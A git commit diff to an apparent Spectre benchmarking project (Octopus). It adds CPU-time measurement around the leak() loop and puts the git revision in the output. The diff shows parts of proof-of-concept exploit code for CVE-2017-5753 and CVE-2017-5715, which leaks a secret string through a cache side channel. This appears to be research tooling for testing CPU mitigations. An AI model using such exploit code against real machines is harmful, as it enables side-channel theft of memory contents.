Measure total CPU time for leak(), add it to the ouput alongside the git revision

This commit is contained in:
Samuel Aubertin 2022-04-13 12:45:14 +02:00
parent 5a49d14360
commit 54abc38327
4 changed files with 90 additions and 22 deletions

View File

@ -74,6 +74,8 @@ GCCV:= $(shell (gcc -v 2>&1 | grep 'gcc version') || (apk info -a gcc 2> /dev/n
VULN1:= $(shell (cat /sys/devices/system/cpu/vulnerabilities/spectre_v1 2> /dev/null || printf unknown)) VULN1:= $(shell (cat /sys/devices/system/cpu/vulnerabilities/spectre_v1 2> /dev/null || printf unknown))
VULN2:= $(shell (cat /sys/devices/system/cpu/vulnerabilities/spectre_v2 2> /dev/null || printf unknown)) VULN2:= $(shell (cat /sys/devices/system/cpu/vulnerabilities/spectre_v2 2> /dev/null || printf unknown))
REVISION:= $(shell git rev-parse --short HEAD) REVISION:= $(shell git rev-parse --short HEAD)
CFLAGS+= -DREVISION=\"$(REVISION)\"
define BANNER define BANNER
printf '\033[1m\033[94m________ __\n' printf '\033[1m\033[94m________ __\n'
printf '\\_____ \\ _____/ |_ ____ ______ __ __ ______\n' printf '\\_____ \\ _____/ |_ ____ ______ __ __ ______\n'

View File

@ -4,11 +4,40 @@
#include <getopt.h> #include <getopt.h>
#include <string.h> #include <string.h>
#include <x86intrin.h> #include <x86intrin.h>
#include <time.h>
#if defined(__OpenBSD__)
#include <sys/time.h>
#elif defined(__linux__)
// From OpenBSD's src/sys/sys/time.h
#define timespecclear(tsp) (tsp)->tv_sec = (tsp)->tv_nsec = 0
#define timespecadd(tsp, usp, vsp)\
do {\
(vsp)->tv_sec = (tsp)->tv_sec + (usp)->tv_sec;\
(vsp)->tv_nsec = (tsp)->tv_nsec + (usp)->tv_nsec;\
if ((vsp)->tv_nsec >= 1000000000L) {\
(vsp)->tv_sec++;\
(vsp)->tv_nsec -= 1000000000L;\
}\
} while (0)
#define timespecsub(tsp, usp, vsp)\
do {\
(vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\
(vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\
if ((vsp)->tv_nsec < 0) {\
(vsp)->tv_sec--;\
(vsp)->tv_nsec += 1000000000L;\
}\
} while (0)
#endif
#if defined(__i386__) || defined(__amd64__) #if defined(__amd64__)
#define CACHELINE_SIZE 64 #define CACHELINE_SIZE 64
#else #else
#error "unsupported architecture" #error "Unsupported architecture. amd64 is required."
#endif
#if !defined(__SSE__)
#error "Unsupported platform. SSE is required."
#endif #endif
#if defined(__SSE__) && !defined(__SSE2__) #if defined(__SSE__) && !defined(__SSE2__)
@ -18,6 +47,7 @@
#define LATENCY 18 + 18 #define LATENCY 18 + 18
#endif #endif
#ifndef NORDTSCP #ifndef NORDTSCP
#define LATENCY 42 + 42 #define LATENCY 42 + 42
#else #else
@ -26,7 +56,12 @@
#endif #endif
#endif #endif
#if OCTOPUS_STRAIN == V1 #ifndef REVISION
#define REVISION "unknown"
#endif
#if OCTOPUS_STRAIN == 1
#define CVE "CVE-2017-5753"
#ifdef MASKING_MITIGATION #ifdef MASKING_MITIGATION
/* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27 /* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27
* *
@ -71,10 +106,11 @@
_mm_stderr_ps(&p[(l * 4 + k) * 4], i); _mm_stderr_ps(&p[(l * 4 + k) * 4], i);
} }
#endif //NOCLFLUSH #endif //NOCLFLUSH
#endif // OCTOPUS_STRAIN V1 #endif // OCTOPUS_STRAIN 1
#if OCTOPUS_STRAIN == V2 #if OCTOPUS_STRAIN == 2
#endif // OCTOPUS_STRAIN V2 #define CVE "CVE-2017-5715"
#endif // OCTOPUS_STRAIN 2
#define GAP 512 #define GAP 512
@ -82,6 +118,7 @@ char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism,
unsigned int cache_hit_threshold, array1_size = 16; unsigned int cache_hit_threshold, array1_size = 16;
uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
uint8_t channel[256 * GAP]; // side channel to extract secret phrase uint8_t channel[256 * GAP]; // side channel to extract secret phrase
struct timespec total_cpu_time, cpu_time, cpu_start, cpu_end;
#define __OCTOPUS_ARGS__\ #define __OCTOPUS_ARGS__\
while ((o = getopt(argc, argv, "t:j")) != EOF) {\ while ((o = getopt(argc, argv, "t:j")) != EOF) {\
@ -199,7 +236,7 @@ octopus_calibrate_threshold(unsigned int *threshold)
} }
void void
octopus_to_json(char** argv, int successes) { octopus_to_json(char** argv, int successes, struct timespec* total_cpu_time) {
printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2); printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
#ifndef NORDTSCP #ifndef NORDTSCP
printf("\"rdtscp\": true, "); printf("\"rdtscp\": true, ");
@ -216,8 +253,8 @@ octopus_to_json(char** argv, int successes) {
#else #else
printf("\"clflush\": false "); printf("\"clflush\": false ");
#endif #endif
#if OCTOPUS_STRAIN == V1 #if OCTOPUS_STRAIN == 1
printf("}, \"mitigations\": { "); printf("}, \"mitigations\": { ");
#ifdef LFENCE_MITIGATION #ifdef LFENCE_MITIGATION
printf("\"lfence\": true, "); printf("\"lfence\": true, ");
#else #else
@ -228,14 +265,21 @@ octopus_to_json(char** argv, int successes) {
#else #else
printf("\"masking\": false "); printf("\"masking\": false ");
#endif #endif
#endif // OCTOPUS_STRAIN == V1 #endif // OCTOPUS_STRAIN == 1
printf("}, "); printf("}, ");
printf("\"revision\": \"%s\", ", REVISION);
printf("\"cpu_time\": %lld.%09ld, ", (long long)total_cpu_time->tv_sec, total_cpu_time->tv_nsec);
printf("\"threshold\": %d, ", cache_hit_threshold); printf("\"threshold\": %d, ", cache_hit_threshold);
printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret)); printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));
} }
void void
octopus_result_line(char** argv, int successes) { octopus_header_line(char** argv, char* secret) {
fprintf(stderr, "[+] %s rev %s leaking %d bytes with %s:\n[?] ", argv[0] + 2, REVISION, (int)strlen(secret), CVE);
}
void
octopus_result_line(char** argv, int successes, struct timespec* total_cpu_time) {
fprintf(stderr, "[+] %-27s\t",argv[0] + 2); fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
#ifndef NORDTSCP #ifndef NORDTSCP
fprintf(stderr, "RDTSCP "); fprintf(stderr, "RDTSCP ");
@ -248,13 +292,14 @@ octopus_result_line(char** argv, int successes) {
#ifndef NOCLFLUSH #ifndef NOCLFLUSH
fprintf(stderr, "CLFLUSH "); fprintf(stderr, "CLFLUSH ");
#endif #endif
#if OCTOPUS_STRAIN == V1 #if OCTOPUS_STRAIN == 1
#ifdef LFENCE_MITIGATION #ifdef LFENCE_MITIGATION
fprintf(stderr, "LFENCE_MITIGATION "); fprintf(stderr, "LFENCE_MITIGATION ");
#endif #endif
#ifdef MASKING_MITIGATION #ifdef MASKING_MITIGATION
fprintf(stderr, "MASKING_MITIGATION "); fprintf(stderr, "MASKING_MITIGATION ");
#endif #endif
#endif // OCTOPUS_STRAIN == V1 #endif // OCTOPUS_STRAIN == 1
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret)); fprintf(stderr, "\tcpu_time %lld.%09ld s\tthreshold %-3d\tsuccess %3.0f %%\n",
(long long)total_cpu_time->tv_sec, total_cpu_time->tv_nsec, cache_hit_threshold, 100 * successes / (float)strlen(secret));
} }

View File

@ -19,7 +19,7 @@
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/ */
#define OCTOPUS_STRAIN V1 #define OCTOPUS_STRAIN 1
#include "octopus.h" #include "octopus.h"
uint8_t temp = 0; /* Used so compiler wont optimize out victim_function() */ uint8_t temp = 0; /* Used so compiler wont optimize out victim_function() */
@ -116,7 +116,7 @@ main(int argc, char** argv)
__OCTOPUS_ARGS__ __OCTOPUS_ARGS__
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret)); octopus_header_line(argv, secret);
octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold); octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
#ifdef NOCLFLUSH #ifdef NOCLFLUSH
for (i = 0; i < (int)sizeof(cache_flush_array); i++) { for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
@ -126,8 +126,18 @@ main(int argc, char** argv)
for (i = 0; i < (int)sizeof(channel); i++) { for (i = 0; i < (int)sizeof(channel); i++) {
channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */ channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */
} }
timespecclear(&total_cpu_time);
while (--len >= 0) { while (--len >= 0) {
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_start);
leak(malicious_x++, value, score, cache_hit_threshold); leak(malicious_x++, value, score, cache_hit_threshold);
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_end);
timespecsub(&cpu_end, &cpu_start, &cpu_time);
timespecadd(&cpu_time, &total_cpu_time, &total_cpu_time);
if(score[0] == 3 && value[0] > 31 && value[0] < 127) { if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
successes++; successes++;
fprintf(stderr, "\033[32m%c\033[0m", (value[0])); fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
@ -136,10 +146,11 @@ main(int argc, char** argv)
} }
} }
fprintf(stderr, "\n"); fprintf(stderr, "\n");
if (json) { if (json) {
octopus_to_json(argv, successes); octopus_to_json(argv, successes, &total_cpu_time);
} }
octopus_result_line(argv, successes); octopus_result_line(argv, successes, &total_cpu_time);
return 0; return 0;
} }

View File

@ -18,7 +18,7 @@
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/ */
#define OCTOPUS_STRAIN V2 #define OCTOPUS_STRAIN 2
#include "octopus.h" #include "octopus.h"
uint64_t* target; // pointer to indirect call target uint64_t* target; // pointer to indirect call target
@ -150,15 +150,25 @@ main(int argc, char** argv)
__OCTOPUS_ARGS__ __OCTOPUS_ARGS__
target = (uint64_t*)malloc(sizeof(uint64_t)); target = (uint64_t*)malloc(sizeof(uint64_t));
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len); octopus_header_line(argv, secret);
octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold); octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
#ifdef NOCLFLUSH #ifdef NOCLFLUSH
for (i = 0; i < (int)sizeof(cache_flush_array); i++) { for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
cache_flush_array[i] = 1; cache_flush_array[i] = 1;
} }
#endif #endif
timespecclear(&total_cpu_time);
while (--len >= 0) { while (--len >= 0) {
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_start);
leak(secret_addr++, value, score, cache_hit_threshold); leak(secret_addr++, value, score, cache_hit_threshold);
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_end);
timespecsub(&cpu_end, &cpu_start, &cpu_time);
timespecadd(&cpu_time, &total_cpu_time, &total_cpu_time);
if(score[0] == 3 && value[0] > 31 && value[0] < 127) { if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
successes++; successes++;
fprintf(stderr, "\033[32m%c\033[0m", (value[0])); fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
@ -168,9 +178,9 @@ main(int argc, char** argv)
} }
fprintf(stderr, "\n"); fprintf(stderr, "\n");
if (json) { if (json) {
octopus_to_json(argv, successes); octopus_to_json(argv, successes, &total_cpu_time);
} }
octopus_result_line(argv, successes); octopus_result_line(argv, successes, &total_cpu_time);
free(target); free(target);